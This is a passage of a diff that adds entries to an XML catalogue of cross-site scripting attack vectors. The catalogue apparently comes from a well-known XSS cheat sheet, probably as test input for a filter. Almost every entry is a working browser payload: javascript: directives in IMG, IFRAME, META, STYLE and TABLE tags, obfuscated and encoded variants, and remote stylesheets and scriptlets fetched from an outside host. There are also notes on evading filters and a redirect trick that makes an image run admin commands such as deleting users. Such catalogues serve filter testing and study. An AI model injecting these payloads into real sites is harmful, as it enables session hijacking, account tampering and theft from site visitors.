+		<code>&lt;IFRAME SRC=&quot;javascript:alert(&apos;XSS&apos;);&quot;&gt;&lt;/IFRAME&gt;</code> 
+		<desc>Iframe (If iframes are allowed there are a lot of other XSS problems as well).</desc> 
+		<label>HTML Element Attacks</label> 
+		<browser>Browser support: [&lt;span class=&quot;s&quot;&gt;IE6.0&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;NS8.1-IE&lt;/span&gt;] [&lt;span class=&quot;s&quot;&gt;NS8.1-G&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;FF1.5&lt;/span&gt;] [&lt;span class=&quot;s&quot;&gt;O8.54&lt;/span&gt;]</browser> 
+	</attack> 
+	<attack> 
+		<name>INPUT Image</name> 
+		<code>&lt;INPUT TYPE=&quot;IMAGE&quot; SRC=&quot;javascript:alert(&apos;XSS&apos;);&quot;&gt;</code> 
+		<desc>INPUT Image</desc> 
+		<label>HTML Element Attacks</label> 
+		<browser>Browser support: [&lt;span class=&quot;s&quot;&gt;IE6.0&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;NS8.1-IE&lt;/span&gt;] [&lt;span class=&quot;ns&quot;&gt;NS8.1-G&lt;/span&gt;|&lt;span class=&quot;ns&quot;&gt;FF1.5&lt;/span&gt;] [&lt;span class=&quot;s&quot;&gt;O8.54&lt;/span&gt;]</browser>	
+	</attack> 
+	<attack> 
+		<name>IMG w/JavaScript Directive</name> 
+		<code>&lt;IMG SRC=&quot;javascript:alert(&apos;XSS&apos;);&quot;&gt;</code> 
+		<desc>Image XSS using the JavaScript directive.</desc> 
+		<label>HTML Element Attacks</label> 
+		<browser>Browser support: [&lt;span class=&quot;s&quot;&gt;IE6.0&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;NS8.1-IE&lt;/span&gt;] [&lt;span class=&quot;ns&quot;&gt;NS8.1-G&lt;/span&gt;|&lt;span class=&quot;ns&quot;&gt;FF1.5&lt;/span&gt;] [&lt;span class=&quot;s&quot;&gt;O8.54&lt;/span&gt;]</browser> 
+	</attack> 
+	<attack> 
+		<name>IMG No Quotes/Semicolon</name> 
+		<code>&lt;IMG SRC=javascript:alert(&apos;XSS&apos;)&gt;</code> 
+		<desc>No quotes and no semicolon</desc> 
+		<label>HTML Element Attacks</label> 
+		<browser>Browser support: [&lt;span class=&quot;s&quot;&gt;IE6.0&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;NS8.1-IE&lt;/span&gt;] [&lt;span class=&quot;ns&quot;&gt;NS8.1-G&lt;/span&gt;|&lt;span class=&quot;ns&quot;&gt;FF1.5&lt;/span&gt;] [&lt;span class=&quot;s&quot;&gt;O8.54&lt;/span&gt;]</browser> 
+	</attack> 
+	<attack> 
+		<name>IMG Dynsrc</name> 
+		<code>&lt;IMG DYNSRC=&quot;javascript:alert(&apos;XSS&apos;);&quot;&gt;</code> 
+		<desc>IMG Dynsrc</desc> 
+		<label>HTML Element Attacks</label> 
+		<browser>Browser support: [&lt;span class=&quot;s&quot;&gt;IE6.0&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;NS8.1-IE&lt;/span&gt;] [&lt;span class=&quot;ns&quot;&gt;NS8.1-G&lt;/span&gt;|&lt;span class=&quot;ns&quot;&gt;FF1.5&lt;/span&gt;] [&lt;span class=&quot;ns&quot;&gt;O8.54&lt;/span&gt;]</browser> 
+	</attack> 
+	<attack> 
+		<name>IMG Lowsrc</name> 
+		<code>&lt;IMG LOWSRC=&quot;javascript:alert(&apos;XSS&apos;);&quot;&gt;</code> 
+		<desc>IMG Lowsrc</desc> 
+		<label>HTML Element Attacks</label> 
+		<browser>Browser support: [&lt;span class=&quot;s&quot;&gt;IE6.0&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;NS8.1-IE&lt;/span&gt;] [&lt;span class=&quot;ns&quot;&gt;NS8.1-G&lt;/span&gt;|&lt;span class=&quot;ns&quot;&gt;FF1.5&lt;/span&gt;] [&lt;span class=&quot;ns&quot;&gt;O8.54&lt;/span&gt;]</browser> 
+	</attack> 
+	<attack> 
+		<name>IMG Embedded commands 1</name> 
+		<code>&lt;IMG SRC=&quot;http://www.thesiteyouareon.com/somecommand.php?somevariables=maliciouscode&quot;&gt;</code> 
+		<desc>This works when the webpage where this is injected (like a web-board) is behind password protection and that password protection works with other commands on the same domain.  This can be used to delete users, add users (if the user who visits the page is an administrator), send credentials elsewhere, etc...  This is one of the lesser used but more useful XSS vectors.</desc> 
+		<label>HTML Element Attacks</label> 
+		<browser>Browser support: [&lt;span class=&quot;s&quot;&gt;IE6.0&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;NS8.1-IE&lt;/span&gt;] [&lt;span class=&quot;s&quot;&gt;NS8.1-G&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;FF1.5&lt;/span&gt;] [&lt;span class=&quot;s&quot;&gt;O8.54&lt;/span&gt;]</browser> 
+	</attack> 
+	<attack> 
+		<name>IMG Embedded commands 2</name> 
+		<code>Redirect 302 /a.jpg http://victimsite.com/admin.asp&amp;deleteuser</code> 
+		<desc>IMG Embedded commands part II - this is more scary because there are absolutely no identifiers that make it look suspicious other than it is not hosted on your own domain. The vector uses a 302 or 304 (others work too) to redirect the image back to a command. So a normal &lt;IMG SRC=&quot;http://badguy.com/a.jpg&quot;&gt; could actually be an attack vector to run commands as the user who views the image link. Here is the .htaccess (under Apache) line to accomplish the vector (thanks to Timo for part of this).</desc> 
+		<label>HTML Element Attacks</label> 
+		<browser>Browser support: [&lt;span class=&quot;s&quot;&gt;IE6.0&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;NS8.1-IE&lt;/span&gt;] [&lt;span class=&quot;s&quot;&gt;NS8.1-G&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;FF1.5&lt;/span&gt;] [&lt;span class=&quot;s&quot;&gt;O8.54&lt;/span&gt;]</browser> 
+	</attack> 
+	<attack> 
+		<name>IMG STYLE w/expression</name> 
+		<code>exp/*&lt;XSS STYLE=&apos;no\xss:noxss(&quot;*//*&quot;);
+xss:&amp;#101;x&amp;#x2F;*XSS*//*/*/pression(alert(&quot;XSS&quot;))&apos;&gt;</code> 
+		<desc>IMG STYLE with expression (this is really a hybrid of several CSS XSS vectors, but it really does show how hard STYLE tags can be to parse apart, like the other CSS examples this can send IE into a loop).</desc> 
+		<label>HTML Element Attacks</label> 
+		<browser>Browser support: [&lt;span class=&quot;s&quot;&gt;IE6.0&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;NS8.1-IE&lt;/span&gt;] [&lt;span class=&quot;ns&quot;&gt;NS8.1-G&lt;/span&gt;|&lt;span class=&quot;ns&quot;&gt;FF1.5&lt;/span&gt;] [&lt;span class=&quot;ns&quot;&gt;O8.54&lt;/span&gt;]</browser> 
+	</attack> 
+	<attack> 
+		<name>List-style-image</name> 
+		<code>&lt;STYLE&gt;li {list-style-image: url(&quot;javascript:alert(&#39;XSS&#39;)&quot;);}&lt;/STYLE&gt;&lt;UL&gt;&lt;LI&gt;XSS</code> 
+		<desc>Fairly esoteric issue dealing with embedding images for bulleted lists. This will only work in the IE rendering engine because of the JavaScript directive. Not a particularly useful cross site scripting vector.</desc> 
+		<label>HTML Element Attacks</label> 
+		<browser>Browser support: [&lt;span class=&quot;s&quot;&gt;IE6.0&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;NS8.1-IE&lt;/span&gt;] [&lt;span class=&quot;ns&quot;&gt;NS8.1-G&lt;/span&gt;|&lt;span class=&quot;ns&quot;&gt;FF1.5&lt;/span&gt;] [&lt;span class=&quot;ns&quot;&gt;O8.54&lt;/span&gt;]</browser> 
+	</attack> 
+	<attack> 
+		<name>IMG w/VBscript</name> 
+		<code>&lt;IMG SRC=&apos;vbscript:msgbox(&quot;XSS&quot;)&apos;&gt;</code> 
+		<desc>VBscript in an image</desc> 
+		<label>HTML Element Attacks</label> 
+		<browser>Browser support: [&lt;span class=&quot;s&quot;&gt;IE6.0&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;NS8.1-IE&lt;/span&gt;] [&lt;span class=&quot;ns&quot;&gt;NS8.1-G&lt;/span&gt;|&lt;span class=&quot;ns&quot;&gt;FF1.5&lt;/span&gt;] [&lt;span class=&quot;ns&quot;&gt;O8.54&lt;/span&gt;]</browser> 
+	</attack> 
+	<attack> 
+		<name>LAYER</name> 
+		<code>&lt;LAYER SRC=&quot;http://ha.ckers.org/scriptlet.html&quot;&gt;&lt;/LAYER&gt;</code> 
+		<desc>Layer (Older Netscape only)</desc> 
+		<label>HTML Element Attacks</label> 
+		<browser>Browser support: [&lt;span class=&quot;ns&quot;&gt;IE6.0&lt;/span&gt;|&lt;span class=&quot;ns&quot;&gt;NS8.1-IE&lt;/span&gt;] [&lt;span class=&quot;ns&quot;&gt;NS8.1-G&lt;/span&gt;|&lt;span class=&quot;ns&quot;&gt;FF1.5&lt;/span&gt;] [&lt;span class=&quot;ns&quot;&gt;O8.54&lt;/span&gt;] [&lt;span class=&quot;s&quot;&gt;NS4&lt;/span&gt;]</browser> 
+	</attack> 
+	<attack> 
+		<name>Livescript</name> 
+		<code>&lt;IMG SRC=&quot;livescript:[code]&quot;&gt;</code> 
+		<desc>Livescript (Older Netscape only)</desc> 
+		<label>HTML Element Attacks</label> 
+		<browser>Browser support: [&lt;span class=&quot;ns&quot;&gt;IE6.0&lt;/span&gt;|&lt;span class=&quot;ns&quot;&gt;NS8.1-IE&lt;/span&gt;] [&lt;span class=&quot;ns&quot;&gt;NS8.1-G&lt;/span&gt;|&lt;span class=&quot;ns&quot;&gt;FF1.5&lt;/span&gt;] [&lt;span class=&quot;ns&quot;&gt;O8.54&lt;/span&gt;] [&lt;span class=&quot;s&quot;&gt;NS4&lt;/span&gt;]</browser> 
+	</attack> 
+	<attack> 
+		<name>US-ASCII encoding</name> 
+		<code>%BCscript%BEalert(%A2XSS%A2)%BC/script%BE</code> 
+		<desc>Found by Kurt Huwig http://www.iku-ag.de/ This uses malformed ASCII encoding with 7 bits instead of 8.  This XSS may bypass many content filters but only works if the hosts transmits in US-ASCII encoding, or if you set the encoding yourself.  This is more useful against web application firewall cross site scripting evasion than it is server side filter evasion.  Apache Tomcat is the only known server that transmits in US-ASCII encoding.</desc> 
+		<label>HTML Element Attacks</label> 
+		<browser>Browser support: [&lt;span class=&quot;s&quot;&gt;IE6.0&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;NS8.1-IE&lt;/span&gt;] [&lt;span class=&quot;ns&quot;&gt;NS8.1-G&lt;/span&gt;|&lt;span class=&quot;ns&quot;&gt;FF1.5&lt;/span&gt;] [&lt;span class=&quot;ns&quot;&gt;O8.54&lt;/span&gt;] [&lt;span class=&quot;ns&quot;&gt;NS4&lt;/span&gt;]</browser> 
+	</attack> 
+	<attack> 
+		<name>META</name> 
+		<code>&lt;META HTTP-EQUIV=&quot;refresh&quot; CONTENT=&quot;0;url=javascript:alert(&apos;XSS&apos;);&quot;&gt;</code> 
+		<desc>The odd thing about meta refresh is that it doesn&apos;t send a referrer in the header - so it can be used for certain types of attacks where you need to get rid of referring URLs.</desc> 
+		<label>HTML Element Attacks</label> 
+		<browser>Browser support: [&lt;span class=&quot;s&quot;&gt;IE6.0&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;NS8.1-IE&lt;/span&gt;] [&lt;span class=&quot;s&quot;&gt;NS8.1-G&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;FF1.5&lt;/span&gt;] [&lt;span class=&quot;ns&quot;&gt;O8.54&lt;/span&gt;]</browser> 
+	</attack> 
+	<attack> 
+		<name>META w/data:URL</name> 
+		<code>&lt;META HTTP-EQUIV=&quot;refresh&quot; CONTENT=&quot;0;url=data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K&quot;&gt;</code> 
+		<desc>This is nice because it also doesn&apos;t have anything visibly that has the word SCRIPT or the JavaScript directive in it, since it utilizes base64 encoding. Please see http://www.ietf.org/rfc/rfc2397.txt for more details</desc> 
+		<label>HTML Element Attacks</label> 
+		<browser>Browser support: [&lt;span class=&quot;ns&quot;&gt;IE6.0&lt;/span&gt;|&lt;span class=&quot;ns&quot;&gt;NS8.1-IE&lt;/span&gt;] [&lt;span class=&quot;s&quot;&gt;NS8.1-G&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;FF1.5&lt;/span&gt;] [&lt;span class=&quot;s&quot;&gt;O8.54&lt;/span&gt;]</browser> 
+	</attack> 
+	<attack> 
+		<name>META w/additional URL parameter</name> 
+		<code>&lt;META HTTP-EQUIV=&quot;refresh&quot; CONTENT=&quot;0; URL=http://;URL=javascript:alert(&apos;XSS&apos;);&quot;&gt;</code> 
+		<desc>Meta with additional URL parameter. If the target website attempts to see if the URL contains an &quot;http://&quot; you can evade it with the following technique (Submitted by Moritz Naumann http://www.moritz-naumann.com)</desc> 
+		<label>HTML Element Attacks</label> 
+		<browser>Browser support: [&lt;span class=&quot;s&quot;&gt;IE6.0&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;NS8.1-IE&lt;/span&gt;] [&lt;span class=&quot;ns&quot;&gt;NS8.1-G&lt;/span&gt;|&lt;span class=&quot;ns&quot;&gt;FF1.5&lt;/span&gt;] [&lt;span class=&quot;ns&quot;&gt;O8.54&lt;/span&gt;]</browser> 
+	</attack> 
+	<attack> 
+		<name>Mocha</name> 
+		<code>&lt;IMG SRC=&quot;mocha:[code]&quot;&gt;</code> 
+		<desc>Mocha (Older Netscape only)</desc> 
+		<label>HTML Element Attacks</label> 
+		<browser>Browser support: [&lt;span class=&quot;ns&quot;&gt;IE6.0&lt;/span&gt;|&lt;span class=&quot;ns&quot;&gt;NS8.1-IE&lt;/span&gt;] [&lt;span class=&quot;ns&quot;&gt;NS8.1-G&lt;/span&gt;|&lt;span class=&quot;ns&quot;&gt;FF1.5&lt;/span&gt;] [&lt;span class=&quot;ns&quot;&gt;O8.54&lt;/span&gt;] [&lt;span class=&quot;s&quot;&gt;NS4&lt;/span&gt;]</browser> 
+	</attack> 
+	<attack> 
+		<name>OBJECT</name> 
+		<code>&lt;OBJECT TYPE=&quot;text/x-scriptlet&quot; DATA=&quot;http://ha.ckers.org/scriptlet.html&quot;&gt;&lt;/OBJECT&gt;</code> 
+		<desc>If they allow objects, you can also inject virus payloads to infect the users, etc. and same with the APPLET tag. The linked file is actually an HTML file that can contain your XSS</desc> 
+		<label>HTML Element Attacks</label> 
+		<browser>Browser support: [&lt;span class=&quot;ns&quot;&gt;IE6.0&lt;/span&gt;|&lt;span class=&quot;ns&quot;&gt;NS8.1-IE&lt;/span&gt;] [&lt;span class=&quot;ns&quot;&gt;NS8.1-G&lt;/span&gt;|&lt;span class=&quot;ns&quot;&gt;FF1.5&lt;/span&gt;] [&lt;span class=&quot;s&quot;&gt;O8.54&lt;/span&gt;]</browser> 
+	</attack> 
+	<attack> 
+		<name>OBJECT w/Embedded XSS</name> 
+		<code>&lt;OBJECT classid=clsid:ae24fdae-03c6-11d1-8b76-0080c744f389&gt;&lt;param name=url value=javascript:alert(&apos;XSS&apos;)&gt;&lt;/OBJECT&gt;</code> 
+		<desc>Using an OBJECT tag you can embed XSS directly (this is unverified).</desc> 
+		<label>HTML Element Attacks</label> 
+		<browser>Browser support:</browser> 
+	</attack> 
+	<attack> 
+		<name>Embed Flash</name> 
+		<code>&lt;EMBED SRC=&quot;http://ha.ckers.org/xss.swf&quot; AllowScriptAccess=&quot;always&quot;&gt;&lt;/EMBED&gt;</code> 
+		<desc>Using an EMBED tag you can embed a Flash movie that contains XSS. If you add the attributes allowScriptAccess=&quot;never&quot; and allownetworking=&quot;internal&quot; it can mitigate this risk (thank you to Jonathan Vanasco for the info). Demo: http://ha.ckers.org/weird/xssflash.html :</desc> 
+		<label>HTML Element Attacks</label> 
+		<browser>Browser support: [&lt;span class=&quot;s&quot;&gt;IE6.0&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;NS8.1-IE&lt;/span&gt;] [&lt;span class=&quot;s&quot;&gt;NS8.1-G&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;FF1.5&lt;/span&gt;] [&lt;span class=&quot;s&quot;&gt;O8.54&lt;/span&gt;]</browser> 
+	</attack> 
+	<attack> 
+		<name>OBJECT w/Flash 2</name> 
+		<code>a=&quot;get&quot;;&amp;#10;b=&quot;URL(&quot;&quot;;&amp;#10;c=&quot;javascript:&quot;;&amp;#10;d=&quot;alert(&apos;XSS&apos;);&quot;)&quot;;&#10;eval(a+b+c+d);</code> 
+		<desc>Using this action script inside flash can obfuscate your XSS vector.</desc> 
+		<label>HTML Element Attacks</label> 
+		<browser>Browser support: [&lt;span class=&quot;s&quot;&gt;IE6.0&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;NS8.1-IE&lt;/span&gt;] [&lt;span class=&quot;s&quot;&gt;NS8.1-G&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;FF1.5&lt;/span&gt;] [&lt;span class=&quot;s&quot;&gt;O8.54&lt;/span&gt;]</browser> 
+	</attack> 
+	<attack> 
+		<name>STYLE</name> 
+		<code>&lt;STYLE TYPE=&quot;text/javascript&quot;&gt;alert(&apos;XSS&apos;);&lt;/STYLE&gt;</code> 
+		<desc>STYLE tag (Older versions of Netscape only)</desc> 
+		<label>HTML Element Attacks</label> 
+		<browser>Browser support: [&lt;span class=&quot;ns&quot;&gt;IE6.0&lt;/span&gt;|&lt;span class=&quot;ns&quot;&gt;NS8.1-IE&lt;/span&gt;] [&lt;span class=&quot;ns&quot;&gt;NS8.1-G&lt;/span&gt;|&lt;span class=&quot;ns&quot;&gt;FF1.5&lt;/span&gt;] [&lt;span class=&quot;ns&quot;&gt;O8.54&lt;/span&gt;] [&lt;span class=&quot;s&quot;&gt;NS4&lt;/span&gt;]</browser> 
+	</attack> 
+	<attack> 
+		<name>STYLE w/Comment</name> 
+		<code>&lt;IMG STYLE=&quot;xss:expr/*XSS*/ession(alert(&apos;XSS&apos;))&quot;&gt;</code> 
+		<desc>STYLE attribute using a comment to break up expression (Thanks to Roman Ivanov http://www.pixel-apes.com/ for this one)</desc> 
+		<label>HTML Element Attacks</label> 
+		<browser>Browser support: [&lt;span class=&quot;s&quot;&gt;IE6.0&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;NS8.1-IE&lt;/span&gt;] [&lt;span class=&quot;ns&quot;&gt;NS8.1-G&lt;/span&gt;|&lt;span class=&quot;ns&quot;&gt;FF1.5&lt;/span&gt;] [&lt;span class=&quot;ns&quot;&gt;O8.54&lt;/span&gt;]</browser> 
+	</attack> 
+	<attack> 
+		<name>STYLE w/Anonymous HTML</name> 
+		<code>&lt;XSS STYLE=&quot;xss:expression(alert(&apos;XSS&apos;))&quot;&gt;</code> 
+		<desc>Anonymous HTML with STYLE attribute (IE and Netscape 8.1+ in IE rendering engine mode don&apos;t really care if the HTML tag you build exists or not, as long as it starts with an open angle bracket and a letter)</desc> 
+		<label>HTML Element Attacks</label> 
+		<browser>Browser support: [&lt;span class=&quot;s&quot;&gt;IE6.0&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;NS8.1-IE&lt;/span&gt;] [&lt;span class=&quot;ns&quot;&gt;NS8.1-G&lt;/span&gt;|&lt;span class=&quot;ns&quot;&gt;FF1.5&lt;/span&gt;] [&lt;span class=&quot;ns&quot;&gt;O8.54&lt;/span&gt;]</browser> 
+	</attack> 
+	<attack> 
+		<name>STYLE w/background-image</name> 
+		<code>&lt;STYLE&gt;.XSS{background-image:url(&quot;javascript:alert(&apos;XSS&apos;)&quot;);}&lt;/STYLE&gt;&lt;A CLASS=XSS&gt;&lt;/A&gt;</code> 
+		<desc>STYLE tag using background-image.</desc> 
+		<label>HTML Element Attacks</label> 
+		<browser>Browser support: [&lt;span class=&quot;s&quot;&gt;IE6.0&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;NS8.1-IE&lt;/span&gt;] [&lt;span class=&quot;ns&quot;&gt;NS8.1-G&lt;/span&gt;|&lt;span class=&quot;ns&quot;&gt;FF1.5&lt;/span&gt;] [&lt;span class=&quot;ns&quot;&gt;O8.54&lt;/span&gt;]</browser> 
+	</attack> 
+	<attack> 
+		<name>STYLE w/background</name> 
+		<code>&lt;STYLE type=&quot;text/css&quot;&gt;BODY{background:url(&quot;javascript:alert(&apos;XSS&apos;)&quot;)}&lt;/STYLE&gt;</code> 
+		<desc>STYLE tag using background.</desc> 
+		<label>HTML Element Attacks</label> 
+		<browser>Browser support: [&lt;span class=&quot;s&quot;&gt;IE6.0&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;NS8.1-IE&lt;/span&gt;] [&lt;span class=&quot;ns&quot;&gt;NS8.1-G&lt;/span&gt;|&lt;span class=&quot;ns&quot;&gt;FF1.5&lt;/span&gt;] [&lt;span class=&quot;ns&quot;&gt;O8.54&lt;/span&gt;]</browser> 
+	</attack> 
+	<attack> 
+		<name>Stylesheet</name> 
+		<code>&lt;LINK REL=&quot;stylesheet&quot; HREF=&quot;javascript:alert(&apos;XSS&apos;);&quot;&gt;</code> 
+		<desc>Stylesheet</desc> 
+		<label>HTML Element Attacks</label> 
+		<browser>Browser support: [&lt;span class=&quot;s&quot;&gt;IE6.0&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;NS8.1-IE&lt;/span&gt;] [&lt;span class=&quot;ns&quot;&gt;NS8.1-G&lt;/span&gt;|&lt;span class=&quot;ns&quot;&gt;FF1.5&lt;/span&gt;] [&lt;span class=&quot;s&quot;&gt;O8.54&lt;/span&gt;]</browser> 
+	</attack> 
+	<attack> 
+		<name>Remote Stylesheet 1</name> 
+		<code>&lt;LINK REL=&quot;stylesheet&quot; HREF=&quot;http://ha.ckers.org/xss.css&quot;&gt;</code> 
+		<desc>Remote style sheet (using something as simple as a remote style sheet you can include your XSS as the style question redefined using an embedded expression.) This only works in IE and Netscape 8.1+ in IE rendering engine mode.  Notice that there is nothing on the page to show that there is included JavaScript. Note: With all of these remote style sheet examples they use the body tag, so it won&apos;t work unless there is some content on the page other than the vector itself, so you&apos;ll need to add a single letter to the page to make it work if it&apos;s an otherwise blank page.</desc> 
+		<label>HTML Element Attacks</label> 
+		<browser>Browser support: [&lt;span class=&quot;s&quot;&gt;IE6.0&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;NS8.1-IE&lt;/span&gt;] [&lt;span class=&quot;ns&quot;&gt;NS8.1-G&lt;/span&gt;|&lt;span class=&quot;ns&quot;&gt;FF1.5&lt;/span&gt;] [&lt;span class=&quot;s&quot;&gt;O8.54&lt;/span&gt;]</browser> 
+	</attack> 
+	<attack> 
+		<name>Remote Stylesheet 2</name> 
+		<code>&lt;STYLE&gt;@import&apos;http://ha.ckers.org/xss.css&apos;;&lt;/STYLE&gt;</code> 
+		<desc>Remote style sheet part 2 (this works the same as above, but uses a &lt;STYLE&gt; tag instead of a &lt;LINK&gt; tag). A slight variation on this vector was used to hack Google Desktop http://www.hacker.co.il/security/ie/css_import.html.  As a side note you can remote the end STYLE tag if there is HTML immediately after the vector to close it.  This is useful if you cannot have either an equal sign or a slash in your cross site scripting attack, which has come up at least once in the real world.</desc> 
+		<label>HTML Element Attacks</label> 
+		<browser>Browser support: [&lt;span class=&quot;s&quot;&gt;IE6.0&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;NS8.1-IE&lt;/span&gt;] [&lt;span class=&quot;ns&quot;&gt;NS8.1-G&lt;/span&gt;|&lt;span class=&quot;ns&quot;&gt;FF1.5&lt;/span&gt;] [&lt;span class=&quot;s&quot;&gt;O8.54&lt;/span&gt;]</browser> 
+	</attack> 
+	<attack> 
+		<name>Remote Stylesheet 3</name> 
+		<code>&lt;META HTTP-EQUIV=&quot;Link&quot; Content=&quot;&lt;http://ha.ckers.org/xss.css&gt;; REL=stylesheet&quot;&gt;</code> 
+		<desc>Remote style sheet part 3. This only works in Opera but is fairly tricky.  Setting a link header is not part of the HTTP1.1 spec. However, some browsers still allow it (like Firefox and Opera).  The trick here is that I am setting a header (which is basically no different than in the HTTP header saying Link: &lt;http://ha.ckers.org/xss.css&gt;; REL=stylesheet) and the remote style sheet with my cross site scripting vector is running the JavaScript, which is not supported in FireFox.</desc> 
+		<label>HTML Element Attacks</label> 
+		<browser>Browser support: [&lt;span class=&quot;ns&quot;&gt;IE6.0&lt;/span&gt;|&lt;span class=&quot;ns&quot;&gt;NS8.1-IE&lt;/span&gt;] [&lt;span class=&quot;ns&quot;&gt;NS8.1-G&lt;/span&gt;|&lt;span class=&quot;ns&quot;&gt;FF1.5&lt;/span&gt;] [&lt;span class=&quot;s&quot;&gt;O8.54&lt;/span&gt;]</browser> 
+	</attack> 
+	<attack> 
+		<name>Remote Stylesheet 4</name> 
+		<code>&lt;STYLE&gt;BODY{-moz-binding:url(&quot;http://ha.ckers.org/xssmoz.xml#xss&quot;)}&lt;/STYLE&gt;</code> 
+		<desc>Remote style sheet part 4.  This only works in Gecko rendering engines and works by binding an XUL file to the parent page. I think the irony here is that Netscape assumes that Gecko is safer and therefore is vulnerable to this for the vast majority of sites.</desc> 
+		<label>HTML Element Attacks</label> 
+		<browser>Browser support: [&lt;span class=&quot;ns&quot;&gt;IE6.0&lt;/span&gt;|&lt;span class=&quot;ns&quot;&gt;NS8.1-IE&lt;/span&gt;] [&lt;span class=&quot;s&quot;&gt;NS8.1-G&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;FF1.5&lt;/span&gt;] [&lt;span class=&quot;ns&quot;&gt;O8.54&lt;/span&gt;]</browser> 
+	</attack> 
+	<attack> 
+		<name>TABLE</name> 
+		<code>&lt;TABLE BACKGROUND=&quot;javascript:alert(&apos;XSS&apos;)&quot;&gt;&lt;/TABLE&gt;</code> 
+		<desc>Table background (who would have thought tables were XSS targets... except me, of course).</desc> 
+		<label>HTML Element Attacks</label> 
+		<browser>Browser support: [&lt;span class=&quot;s&quot;&gt;IE6.0&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;NS8.1-IE&lt;/span&gt;] [&lt;span class=&quot;ns&quot;&gt;NS8.1-G&lt;/span&gt;|&lt;span class=&quot;ns&quot;&gt;FF1.5&lt;/span&gt;] [&lt;span class=&quot;s&quot;&gt;O8.54&lt;/span&gt;]</browser> 
+	</attack> 
+	<attack> 
+		<name>TD</name> 
+		<code>&lt;TABLE&gt;&lt;TD BACKGROUND=&quot;javascript:alert(&apos;XSS&apos;)&quot;&gt;&lt;/TD&gt;&lt;/TABLE&gt;</code> 
+		<desc>TD background.</desc> 
+		<label>HTML Element Attacks</label> 
+		<browser>Browser support: [&lt;span class=&quot;s&quot;&gt;IE6.0&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;NS8.1-IE&lt;/span&gt;] [&lt;span class=&quot;ns&quot;&gt;NS8.1-G&lt;/span&gt;|&lt;span class=&quot;ns&quot;&gt;FF1.5&lt;/span&gt;] [&lt;span class=&quot;s&quot;&gt;O8.54&lt;/span&gt;]</browser> 
+	</attack> 
+	<attack> 
+		<name>XML namespace</name> 
+		<code>&lt;HTML xmlns:xss&gt;
+&lt;?import namespace=&quot;xss&quot; implementation=&quot;http://ha.ckers.org/xss.htc&quot;&gt;
+&lt;xss:xss&gt;XSS&lt;/xss:xss&gt;
+&lt;/HTML&gt;</code> 
+		<desc>XML namespace. The .htc file must be located on the server as your XSS vector.</desc> 
+		<label>HTML Element Attacks</label> 
+		<browser>Browser support: [&lt;span class=&quot;s&quot;&gt;IE6.0&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;NS8.1-IE&lt;/span&gt;] [&lt;span class=&quot;ns&quot;&gt;NS8.1-G&lt;/span&gt;|&lt;span class=&quot;ns&quot;&gt;FF1.5&lt;/span&gt;] [&lt;span class=&quot;ns&quot;&gt;O8.54&lt;/span&gt;]</browser> 
+	</attack> 
+	<attack> 
+		<name>XML data island w/CDATA</name> 
+		<code>&lt;XML ID=I&gt;&lt;X&gt;&lt;C&gt;&lt;![CDATA[&lt;IMG SRC=&quot;javas]]&gt;&lt;![CDATA[cript:alert(&apos;XSS&apos;);&quot;&gt;]]&gt;
+&lt;/C&gt;&lt;/X&gt;&lt;/xml&gt;&lt;SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML&gt;</code> 
+		<desc>XML data island with CDATA obfuscation (this XSS attack works only in IE and Netscape 8.1 IE rendering engine mode) - vector found by Sec Consult http://www.sec-consult.html while auditing Yahoo.</desc> 
+		<label>HTML Element Attacks</label> 
+		<browser>Browser support: [&lt;span class=&quot;s&quot;&gt;IE6.0&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;NS8.1-IE&lt;/span&gt;] [&lt;span class=&quot;ns&quot;&gt;NS8.1-G&lt;/span&gt;|&lt;span class=&quot;ns&quot;&gt;FF1.5&lt;/span&gt;] [&lt;span class=&quot;ns&quot;&gt;O8.54&lt;/span&gt;]</browser> 
+	</attack> 
+	<attack> 
+		<name>XML data island w/comment</name> 
+		<code>&lt;XML ID=&quot;xss&quot;&gt;&lt;I&gt;&lt;B&gt;&lt;IMG SRC=&quot;javas&lt;!-- --&gt;cript:alert(&apos;XSS&apos;)&quot;&gt;&lt;/B&gt;&lt;/I&gt;&lt;/XML&gt;
+&lt;SPAN DATASRC=&quot;#xss&quot; DATAFLD=&quot;B&quot; DATAFORMATAS=&quot;HTML&quot;&gt;&lt;/SPAN&gt;</code> 
+		<desc>XML data island with comment obfuscation (doesn&apos;t use CDATA fields, but rather uses comments to break up the javascript directive)</desc> 
+		<label>HTML Element Attacks</label> 
